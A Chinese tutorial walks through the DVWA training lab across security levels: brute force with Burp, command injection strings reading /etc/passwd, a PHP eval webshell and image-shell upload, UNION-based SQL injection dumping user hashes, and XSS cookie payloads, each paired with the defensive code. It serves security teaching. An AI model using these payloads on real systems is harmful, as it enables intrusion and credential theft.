1. 项目概述与核心价值
DVWA(Damn Vulnerable Web Application)这个靶场,但凡在网络安全领域摸爬滚打过几年的朋友,应该都听说过。它是一个专门为安全学习、测试工具和技能而设计的、存在大量已知漏洞的PHP/MySQL Web应用。标题里提到的“中级靶场通关实录”,其实是一个从“知道”到“做到”的关键跨越。很多新手学安全,理论背了一大堆,但真让他去一个靶场里,从暴力破解一路打到文件上传,把漏洞原理、利用手法、绕过技巧、修复方案都亲手走一遍,可能就卡壳了。
这篇文章,我就以“从暴力破解到文件上传”这条线为轴,带你深度复现DVWA中6个最具代表性的经典漏洞。我不会只给你一个“点击这里,输入那个”的傻瓜式教程,而是会拆解每个漏洞在不同安全等级(Low, Medium, High, Impossible)下的代码逻辑演变,告诉你攻击者是怎么想的,防御者又是怎么防的,以及为什么有些防御措施依然能被绕过。这不仅仅是通关,更是理解Web安全攻防对抗的核心思想。无论你是刚入门的安全爱好者,还是想巩固基础的开发人员,跟着这篇实录走一遍,你收获的将是一套完整的、可迁移的漏洞挖掘与防御思维框架。
2. 环境搭建与前期准备
在开始“通关”之前,一个稳定、隔离的测试环境是必须的。我强烈建议你不要在公网服务器或者主力开发机上直接部署DVWA。最稳妥的方式是在本地虚拟机(如VMware或VirtualBox)中搭建。
2.1 基础环境部署
我个人的习惯是使用XAMPP或PHPStudy这类集成环境包,它能一键搞定Apache、MySQL、PHP,省去大量配置时间。以PHPStudy为例,下载安装后,启动Apache和MySQL服务。
接下来,去DVWA的GitHub官方仓库下载最新源码。将下载的压缩包解压,把整个DVWA-master文件夹重命名为dvwa,然后复制到你的Web服务器根目录下。对于PHPStudy,这个目录通常是phpstudy_pro/WWW/。
2.2 关键配置与初始化
进入dvwa/config目录,你会找到一个config.inc.php.dist文件。复制一份,重命名为config.inc.php。用文本编辑器打开它,找到数据库配置部分:
$_DVWA[ 'db_server' ] = '127.0.0.1'; $_DVWA[ 'db_database' ] = 'dvwa'; $_DVWA[ 'db_user' ] = 'root'; $_DVWA[ 'db_password' ] = 'p@ssw0rd';这里需要根据你的MySQL实际情况修改。db_user和db_password默认通常是root和root(或空密码),但为了安全,建议在PHPStudy的MySQL设置中修改一个强密码并同步到这里。
保存配置文件后,在浏览器访问http://127.0.0.1/dvwa/。如果一切正常,你会看到DVWA的安装页面。点击页面底部的“Create / Reset Database”按钮。这个操作会为你创建dvwa数据库,并填充必要的用户数据和表结构。
注意:如果点击按钮后报错,提示无法连接数据库,99%的原因是
config.inc.php中的数据库密码不对。请返回检查并确保MySQL服务已启动。
安装成功后,使用默认凭证登录:用户名admin,密码password。登录后,在左侧导航栏找到“DVWA Security”,在这里你可以设置整个应用的安全等级,从Low到Impossible。我们通关的过程,就是逐一挑战这些逐渐增强的防护等级。
3. 暴力破解(Brute Force)漏洞实战
暴力破解,听起来很“笨”,但却是渗透测试中最常见、最有效的攻击手段之一,尤其在弱口令普遍存在的环境下。DVWA的Brute Force模块,完美展示了从“门户大开”到“固若金汤”的防御演进。
3.1 Low级别:毫无防护的登录
将安全级别调到Low,查看源码。核心逻辑非常简单:直接获取用户输入的用户名和密码(密码经MD5加密),拼接成SQL语句进行查询。
$user = $_GET[ 'username' ]; $pass = $_GET[ 'password' ]; $pass = md5( $pass ); $query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";漏洞点:
- 无验证码:无法阻止自动化工具批量尝试。
- 无失败锁定:可以无限次尝试。
- 存在SQL注入(虽然本题重点是暴力破解):
$user未经过滤直接拼接,可使用admin' or '1'='1作为用户名,配合任意密码直接登录。这本身就是一个严重的漏洞。
攻击复现(使用Burp Suite Intruder):
- 在DVWA的Brute Force页面,随意输入用户名密码,点击提交,同时用Burp Suite抓包。
- 将抓到的HTTP请求发送到Intruder模块。
- 在Positions标签页,清除所有自动标记,然后手动将
username和password参数的值标记为攻击载荷位置。 - 在Payloads标签页,为
username设置一个简单列表,如admin。为password设置一个强大的字典,如rockyou.txt的节选(包含password,123456,admin等)。 - 在Options标签页,Grep - Match中添加登录成功时的特征字符串,如
Welcome to the password protected area。 - 开始攻击,观察返回包长度和状态,找到成功登录的那个请求,即可获得密码。
实操心得:在Low级别,由于存在SQL注入,暴力破解甚至不是最高效的方法。直接使用
admin' or '1'='1作为用户名即可绕过认证。这提醒我们,一个入口点可能同时存在多种漏洞,需要综合判断。
3.2 Medium级别:初现端倪的防御
查看Medium级别源码,发现两处变化:
- 对输入使用了
mysqli_real_escape_string()进行转义,基本封堵了SQL注入。 - 登录失败后,增加了
sleep(2),即延时2秒响应。
$user = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user); // ... 对密码同样处理 if( $result && mysqli_num_rows( $result ) == 1 ) { // ... 登录成功 } else { sleep( 2 ); // 失败后延时 $html .= "<pre><br />Username and/or password incorrect.</pre>"; }攻击思路:sleep(2)增加了单次尝试的时间成本,但对于自动化工具(如Burp Intruder)来说,影响有限,只是让整个爆破过程变慢。攻击手法与Low级别完全一致。这里的防御更像是一种“干扰”,而非“阻断”。
3.3 High级别:引入动态Token
High级别的源码引入了Anti-CSRF Token机制。
if( isset( $_GET[ 'Login' ] ) ) { checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // ... 后续登录逻辑 } // 页面生成时,会调用 generateSessionToken(); 生成一个新的Token每次加载登录页面,服务器都会在表单中嵌入一个随机的、一次性的user_token。提交登录请求时,服务器会校验这个Token是否与Session中存储的session_token一致。不一致则拒绝请求。
这对传统爆破是致命的:因为每次尝试都需要先获取一个全新的Token,无法用同一个请求报文重复攻击。
攻击绕过(使用Burp Suite的宏和会话处理):
- 配置宏(Macro):在Burp的Project options -> Sessions -> Macros中,新建一个宏。这个宏需要录制两个请求:a) 访问登录页面(GET请求),b) 从返回的HTML中提取出新的
user_token。 - 配置会话处理规则(Session Handling Rules):新建规则,设置规则动作为“Run a macro”。选择刚才创建的宏,并设置Burp在每次发送请求前都执行这个宏,以获取最新的Token。
- 执行攻击:在Intruder中,像Low级别一样设置攻击。关键一步:在Intruder的Options标签页,找到“Redirections”,选择“On-site only”或“Always”。更重要的是,在“Session Handling”部分,确保应用了你刚创建的会话规则。
- Burp会在每次发送爆破请求前,自动执行宏,获取新Token并更新请求中的
user_token参数,从而实现自动化爆破。
注意事项:这种攻击成功率受网络环境和服务器响应速度影响较大。同时,High级别依然有
sleep( rand( 0, 3 ) )随机延时,进一步降低了爆破速度。在实际渗透中,遇到这种防护,需要评估时间成本。
3.4 Impossible级别:综合防御的典范
Impossible级别展示了目前业界认为最有效的防暴力破解方案组合拳:
- 改用POST请求:增加攻击复杂度(但非主要)。
- Token校验:同High级别。
- PDO参数化查询:彻底杜绝SQL注入。
- 账户锁定机制:核心防御!记录失败次数,超过阈值(如3次)锁定账户一段时间(如15分钟)。
$total_failed_login = 3; $lockout_time = 15; $account_locked = false; // ... 查询用户当前失败次数和最后登录时间 if( ( $data->rowCount() == 1 ) && ( $row[ 'failed_login' ] >= $total_failed_login ) ) { $last_login = strtotime( $row[ 'last_login' ] ); $timeout = $last_login + ($lockout_time * 60); $timenow = time(); if( $timenow < $timeout ) { $account_locked = true; // 账户被锁定 } }防御原理:将攻击成本从“破解密码的复杂度”转移到了“时间”和“账户数量”上。攻击者无法对一个账户进行无限尝试,必须切换目标,而系统可以通过监控大量账户的失败登录来发现攻击行为。
对于攻击者:面对Impossible级别的防护,传统的针对单一账户的暴力破解已基本失效。攻击思路需要转向:
- 密码喷洒(Password Spraying):用一个弱密码(如
CompanyName@2024)去尝试大量用户,避免触发单个账户的锁定。 - 社工与信息收集:寻找密码重置、验证码绕过等其他入口点。
- 横向移动:先通过其他漏洞获取一个低权限账户,再尝试内部密码复用。
4. 命令注入(Command Injection)漏洞实战
命令注入是指攻击者能够将操作系统命令注入到后端应用中执行。DVWA的这个模块模拟了一个简单的网络诊断工具(Ping)。
4.1 Low级别:直接拼接,危如累卵
Low级别源码直接拼接用户输入的IP地址到系统命令中:
$target = $_REQUEST[ 'ip' ]; if( stristr( php_uname( 's' ), 'Windows NT' ) ) { $cmd = shell_exec( 'ping ' . $target ); } else { $cmd = shell_exec( 'ping -c 4 ' . $target ); }漏洞利用:在输入框里,IP地址后面跟上系统命令分隔符,即可执行任意命令。
- Windows/Linux通用:
127.0.0.1 & whoami&:无论前一个命令是否成功,都执行后面的命令。
- Linux特有:
127.0.0.1; ls -la;:顺序执行多条命令。
- Linux特有:
127.0.0.1 && cat /etc/passwd&&:只有前一个命令成功(返回0),才执行后面的命令。
- Linux特有:
127.0.0.1 || uname -a||:只有前一个命令失败(返回非0),才执行后面的命令。
- 管道符:
127.0.0.1 | netstat -an|:将前一个命令的输出作为后一个命令的输入。
输入127.0.0.1 & whoami并提交,页面在返回Ping结果后,会输出当前Web服务的运行用户(如www-data,apache)。
4.2 Medium级别:不完善的黑名单
Medium级别尝试使用黑名单过滤:
$substitutions = array('&&' => '', ';' => ''); $target = str_replace( array_keys( $substitutions ), $substitutions, $target );它将&&和;替换为空字符串。但这种过滤非常初级。绕过方法:
- 使用未过滤的分隔符:
&和|依然可用。输入127.0.0.1 & whoami依然成功。 - 双写绕过:对于
str_replace,如果输入127.0.0.1 &;& whoami,过滤后中间的;被移除,变成了127.0.0.1 && whoami,恰好是有效的&&。但本例中&&也在黑名单,所以此方法不适用。这揭示了黑名单思维的一个缺陷:可能创造出新的危险组合。
4.3 High级别:扩大的黑名单与疏忽
High级别的黑名单更长了:
$substitutions = array( '&' => '', ';' => '', '| ' => '', '-' => '', '$' => '', '(' => '', ')' => '', '`' => '', '||' => '', );注意'| '后面有一个空格!这意味着它只过滤“管道符+空格”这个组合。绕过方法:使用没有空格的管道符。输入127.0.0.1|whoami即可成功执行。开发者在编写黑名单时的一个微小疏忽(多余的空格),导致整个防御失效。
4.4 Impossible级别:白名单的胜利
Impossible级别采用了最可靠的防御方式:输入验证与白名单。
$target = $_REQUEST[ 'ip' ]; $target = stripslashes( $target ); $octet = explode( ".", $target ); // 按点号分割 // 检查分割后的四部分是否都是数字,且正好是4部分 if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) { $target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3]; // 执行ping命令 }它只接受符合IPv4格式(四个数字由点分隔)的输入。任何命令分隔符都无法通过验证。这是防御命令注入的最佳实践:严格定义合法输入的范围,拒绝一切不符合规则的输入。
核心技巧:在实战中,命令注入的利用往往需要结合上下文。例如,如果过滤了空格,可以用
${IFS}(内部字段分隔符)、<、>或制表符%09代替。如果过滤了某些关键词,可以用通配符*、变量拼接、编码、引号等方式绕过。但最根本的防御,永远是像Impossible级别那样,进行严格的白名单校验。
5. 文件上传(File Upload)漏洞实战
文件上传漏洞是获取WebShell最直接的途径之一。攻击者上传一个恶意的脚本文件(如PHP Webshell),然后通过浏览器访问该文件,从而在服务器上执行任意命令。
5.1 Low级别:无任何过滤
Low级别源码简单地将用户上传的文件从临时目录移动到目标目录:
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/"; $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] ); if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) { // 上传失败 } else { // 上传成功 }攻击复现:
- 准备一个一句话木马文件
shell.php,内容为:<?php @eval($_POST['cmd']);?>。 - 在DVWA文件上传页面,选择此文件并上传。
- 上传成功后,访问
http://你的靶场地址/hackable/uploads/shell.php。 - 使用中国菜刀、蚁剑、哥斯拉等WebShell管理工具,连接地址和密码(
cmd),即可获取服务器权限。
5.2 Medium级别:脆弱的类型检查
Medium级别增加了对文件类型和大小检查:
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ]; $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ]; if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) && ( $uploaded_size < 100000 ) ) { // 允许上传 }它检查Content-Type,这个值是由浏览器根据文件后缀名发送的,完全可控。绕过方法(Burp Suite改包):
- 正常上传
shell.php文件,用Burp抓包。 - 在Burp Repeater中,修改HTTP请求头中的
Content-Type为image/jpeg。 - 发送请求,即可绕过前端检查,成功上传PHP文件。
5.3 High级别:深入检查与组合利用
High级别的检查更为严格:
- 检查文件扩展名(黑名单:
jpg,jpeg,png)。 - 检查文件大小。
- 使用
getimagesize()函数检查文件是否为真实的图片。
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1); if( ( strtolower( $uploaded_ext ) == "jpg" || ... ) && ( $uploaded_size < 100000 ) && getimagesize( $uploaded_tmp ) ) { // 允许上传 }getimagesize()会读取文件头信息,如果不是有效的图片文件,则返回false。这阻止了直接上传纯文本的PHP脚本。
绕过方法:制作图片木马(Image Shell)
- 准备一张正常的图片(如
test.jpg)和一个PHP一句话木马文件(shell.php)。 - 在命令行使用
copy命令(Windows)或cat命令(Linux)将两者合并:- Windows:
copy test.jpg /b + shell.php /a shell.jpg - Linux:
cat test.jpg shell.php > shell.jpg
- Windows:
- 生成的文件
shell.jpg既是一个有效的图片(能通过getimagesize检查),末尾又附加了PHP代码。 - 上传
shell.jpg成功。
如何利用?单独的图片马无法直接执行。需要结合文件包含漏洞或解析漏洞。
- 结合文件包含:如果网站存在本地文件包含漏洞(LFI),可以尝试包含这个上传的图片马,服务器会将其当作PHP代码解析。例如:
?page=../../../hackable/uploads/shell.jpg。 - 解析漏洞:某些旧版本或配置不当的服务器(如IIS 6.0、Nginx特定配置)存在解析漏洞,会将
shell.jpg.php或shell.jpg%00.php这样的文件当作PHP解析。High级别对扩展名做了严格检查,此路不通。
另一种思路:利用命令注入修改文件(如果同时存在命令注入漏洞) 假设我们已经通过命令注入拿到了一个命令执行点,并且知道图片马上传的路径,可以尝试将其复制或重命名为.php后缀。127.0.0.1 | copy C:\phpstudy_pro\WWW\DVWA\hackable\uploads\shell.jpg C:\phpstudy_pro\WWW\DVWA\hackable\uploads\shell.php
5.4 Impossible级别:全面防御
Impossible级别展示了近乎完美的文件上传防御:
- Token防CSRF。
- 文件内容重编码:使用
imagecreatefromjpeg和imagejpeg或imagecreatefrompng和imagepng对图片进行重新编码。这个过程会剥离所有非图片数据(包括我们附加的PHP代码),只保留纯粹的图片数据。 - 随机化文件名:使用
md5( uniqid() . $uploaded_name )生成随机文件名,防止攻击者直接猜测或访问上传的文件。 - 白名单校验:同时校验扩展名和MIME类型。
if( $uploaded_type == 'image/jpeg' ) { $img = imagecreatefromjpeg( $uploaded_tmp ); imagejpeg( $img, $temp_file, 100); // 重新编码,净化文件 }防御总结:
- 低信任策略:永远不要相信用户上传的文件。
- 白名单:只允许特定的、安全的文件类型(如图片:jpg, png)。
- 文件内容检查:使用函数或库验证文件的实际内容,而非仅依赖扩展名或MIME类型。
- 重命名:使用随机字符串重命名上传的文件,避免直接用户输入作为文件名。
- 隔离存储:将上传的文件存储在Web根目录之外,通过脚本(如PHP的
readfile())来提供访问,防止直接执行。 - 权限最小化:上传目录禁用脚本执行权限(通过服务器配置,如
.htaccess中php_flag engine off)。
6. SQL注入(SQL Injection)漏洞实战
SQL注入是Web安全领域的“常青树”漏洞,原理是用户输入被拼接进SQL查询语句,改变了原有语义。DVWA的SQL注入模块清晰地展示了从注入到防御的全过程。
6.1 Low级别:经典字符型注入
Low级别源码直接拼接用户输入的id:
$id = $_REQUEST[ 'id' ]; $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";漏洞复现与手工注入流程:
- 判断注入类型:输入
1',页面报错,说明存在注入且为字符型。输入1' and '1'='1和1' and '1'='2,观察页面返回是否不同,确认布尔盲注可行。 - 判断字段数:使用
ORDER BY子句。输入1' ORDER BY 1 --,1' ORDER BY 2 --,1' ORDER BY 3 --。当ORDER BY 3时报错,说明查询结果只有2个字段。--是SQL注释符,用于注释掉原查询语句后面的单引号。有时需要写成--+或#(URL编码为%23)。 - 确定字段显示位置:使用联合查询
UNION SELECT。输入1' UNION SELECT 1,2 --。页面会显示数字1和2,这代表第一个和第二个字段的位置会回显到页面上。 - 获取数据库信息:
- 当前数据库:
1' UNION SELECT database(), version() -- - 当前用户:
1' UNION SELECT user(), @@version_compile_os --
- 当前数据库:
- 爆表名:
1' UNION SELECT group_concat(table_name),2 FROM information_schema.tables WHERE table_schema=database() --information_schema是MySQL的系统数据库,存储了所有数据库、表、列的信息。group_concat()将多行结果合并成一行,方便查看。
- 爆字段名:假设我们猜出用户表叫
users。1' UNION SELECT group_concat(column_name),2 FROM information_schema.columns WHERE table_schema=database() AND table_name='users' -- - 拖取数据:
1' UNION SELECT group_concat(user, ':', password),2 FROM users --。获取到的密码是MD5哈希值,可以到在线网站破解。
6.2 Medium级别:数字型注入与转义
Medium级别改用POST传参,并对输入进行了转义:
$id = $_POST[ 'id' ]; $id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id); $query = "SELECT first_name, last_name FROM users WHERE user_id = $id;"; // 注意,这里没有单引号了!关键变化:
mysqli_real_escape_string转义了特殊字符(如单引号),防止了字符串逃逸。- SQL语句中
$id没有用单引号包裹,说明它期望一个数字。
漏洞依然存在:因为参数是数字型,注入时不需要闭合单引号。攻击流程与Low类似,但构造Payload时去掉单引号即可。
- 判断字段数:
1 ORDER BY 2 -- - 联合查询:
1 UNION SELECT database(), user() --
重要技巧:当表名或字段名被引号包裹且被转义时,可以使用十六进制表示法绕过。例如,'users'的十六进制是0x7573657273。爆字段名的Payload可以写成:1 UNION SELECT group_concat(column_name),2 FROM information_schema.columns WHERE table_schema=database() AND table_name=0x7573657273 --
6.3 High级别:会话与限制
High级别通过Session传递参数,并增加了LIMIT 1:
$id = $_SESSION[ 'id' ]; // 从Session取id $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";攻击方法:LIMIT 1限制只返回一行结果,但这不影响UNION查询,因为UNION会追加结果。只需用注释符#将LIMIT 1注释掉即可。 Payload示例:1' UNION SELECT database(), user() #
6.4 Impossible级别:预编译语句的终极防御
Impossible级别采用了PDO预处理语句(参数化查询),这是目前公认最有效的防SQL注入手段。
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' ); $data->bindParam( ':id', $id, PDO::PARAM_INT ); $data->execute();原理:SQL查询语句的模板(prepare)与数据(bindParam)是分开发送给数据库的。数据库先编译SQL结构,再将数据代入。即使用户输入1' OR '1'='1,它也会被当作一个完整的字符串或数字值代入id字段进行查询,而不会改变查询逻辑。从根本上消除了拼接带来的注入风险。
额外加固:
checkToken()防CSRF。is_numeric()检查输入是否为数字,进一步确保输入可控。
经验之谈:在真实开发中,无论前端做了多少验证,后端都必须使用参数化查询(Prepared Statements)。ORM框架(如Eloquent, Hibernate)通常也内置了参数化查询机制。永远不要手动拼接SQL字符串。
7. 跨站脚本(XSS)漏洞实战
XSS允许攻击者在受害者的浏览器中执行恶意脚本。DVWA提供了反射型、存储型和DOM型三种XSS的练习场景。
7.1 反射型XSS(Reflected)
反射型XSS的Payload包含在请求中,服务器直接“反射”回响应页面执行。
Low级别:直接输出用户输入。<script>alert(document.cookie)</script>
Medium级别:过滤<script>标签(不区分大小写?)。
- 大小写绕过:
<ScRiPt>alert(1)</ScRiPt> - 其他标签+事件:
<img src=x onerror=alert(1)>,<svg onload=alert(1)>
High级别:使用正则表达式/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i过滤所有script标签变体。
- 绕过:正则只过滤
script标签,其他标签如img,body,iframe的事件处理器依然可用。<img src=x onerror=alert(1)>依然有效。
Impossible级别:使用htmlspecialchars()函数将用户输入中的特殊字符(<,>,&,",')转换为HTML实体(如<变为<)。这样,输入的任何标签都会被当作纯文本显示,而不会被浏览器解析为HTML元素,从而彻底杜绝XSS。
7.2 存储型XSS(Stored)
存储型XSS将恶意脚本存入数据库,当其他用户访问包含此数据的页面时触发,危害更大。
Low级别:直接存储并输出,无过滤。 在“Name”或“Message”字段输入<script>alert(1)</script>,提交后,任何用户访问留言板页面都会弹窗。
Medium级别:对“Name”字段使用str_replace( '<script>', '', $name )过滤。
- 双写绕过:
<scr<script>ipt>alert(1)</script>,过滤掉中间的<script>后,前后拼接起来正好是<script>alert(1)</script>。 - 大小写绕过:同反射型。
High级别:对“Name”字段使用与反射型High相同的正则过滤script标签。
- 绕过:使用非
script标签。<img src=1 onerror=alert(1)>
Impossible级别:对“Name”和“Message”都使用htmlspecialchars()输出编码,并使用PDO预处理语句入库,同时添加CSRF Token。全方位防御。
7.3 DOM型XSS
DOM型XSS的漏洞发生在客户端JavaScript代码中,服务器不参与Payload的反射。
Low级别:前端JS直接从URL的default参数取值,并动态写入DOM。?default=<script>alert(1)</script>
Medium级别:服务器端代码检查default参数,如果包含<script则重定向到默认页面。但检查不区分大小写且不完整。
- 绕过:使用其他标签。
?default=English</option></select><img src=1 onerror=alert(1)>
High级别:服务器端使用白名单,只允许French,English,German,Spanish。
- 绕过:利用URL片段标识符
#。?default=English#<script>alert(1)</script>。#后面的内容不会发送到服务器,但客户端的JS代码document.write可能会将其写入DOM,具体取决于JS如何解析URL。在DVWA的High级别中,此方法可能不成功,但它展示了一种绕过服务器端校验的思路:在前端JS中寻找可控点。
Impossible级别:客户端校验,但服务器不信任客户端,不采用该参数。或者采用严格的输出编码。
7.4 XSS防御总结
- 输入验证与过滤:在特定场景下,对输入进行严格的过滤(如只允许字母数字)。但过滤容易被绕过,应作为辅助手段。
- 输出编码:这是最根本、最有效的措施。根据输出位置(HTML标签内、属性、JavaScript、CSS、URL)使用对应的编码函数(如
htmlspecialchars(),htmlentities(),urlencode())。 - 内容安全策略(CSP):通过HTTP头
Content-Security-Policy告诉浏览器只允许加载和执行来自特定来源的脚本、样式等资源,可以极大缓解XSS的影响。 - 使用安全框架/库:现代前端框架(如React, Vue, Angular)默认会对动态内容进行转义。使用安全的DOM操作API(如
textContent代替innerHTML)。
8. 通关总结与进阶思考
通关DVWA的中级关卡,不仅仅是学会了几个漏洞的利用姿势,更重要的是建立起一套安全思维:
- 攻击者视角(黑盒):面对一个功能点,思考它的输入在哪?输出在哪?数据流经了哪些处理?哪些环节可能被干扰或篡改?尝试各种边界值和异常输入。
- 防御者视角(白盒):阅读代码时,关注所有用户可控的输入点(
$_GET,$_POST,$_REQUEST,$_COOKIE,$_SERVER部分字段)。问自己:这里过滤了吗?过滤全了吗?用的是黑名单还是白名单?输出编码了吗?使用的函数安全吗?(如eval,system,mysqli_query)。 - 漏洞关联性:安全是一个整体。一个文件上传漏洞可能需要结合文件包含或解析漏洞才能getshell。一个反射型XSS可能需要结合CSRF才能产生更大危害。爆破后台可能需要先通过信息泄露找到用户名。要培养“连点成线”的能力。
- 工具只是延伸:Burp Suite、Sqlmap、Nmap等工具极其强大,但工具背后的原理和手动测试的思维才是核心。手工验证能让你更深刻地理解漏洞成因,而自动化工具则能帮你提升效率,扩大测试范围。
- 持续学习:Web安全技术日新月异,新的攻击手法(如Deserialization, SSRF, XXE)和防御方案(如新的CSP指令、各种安全头)不断出现。DVWA是一个绝佳的起点,但绝不是终点。接下来可以挑战更复杂的靶场(如Web Security Academy (PortSwigger), HackTheBox, VulnHub),阅读CVE漏洞分析,参与CTF比赛,才能持续精进。
最后,所有练习务必在授权和隔离的环境中进行。未经授权对任何系统进行测试都是违法的。将所学知识用于建设更安全的网络环境,才是安全从业者的终极价值。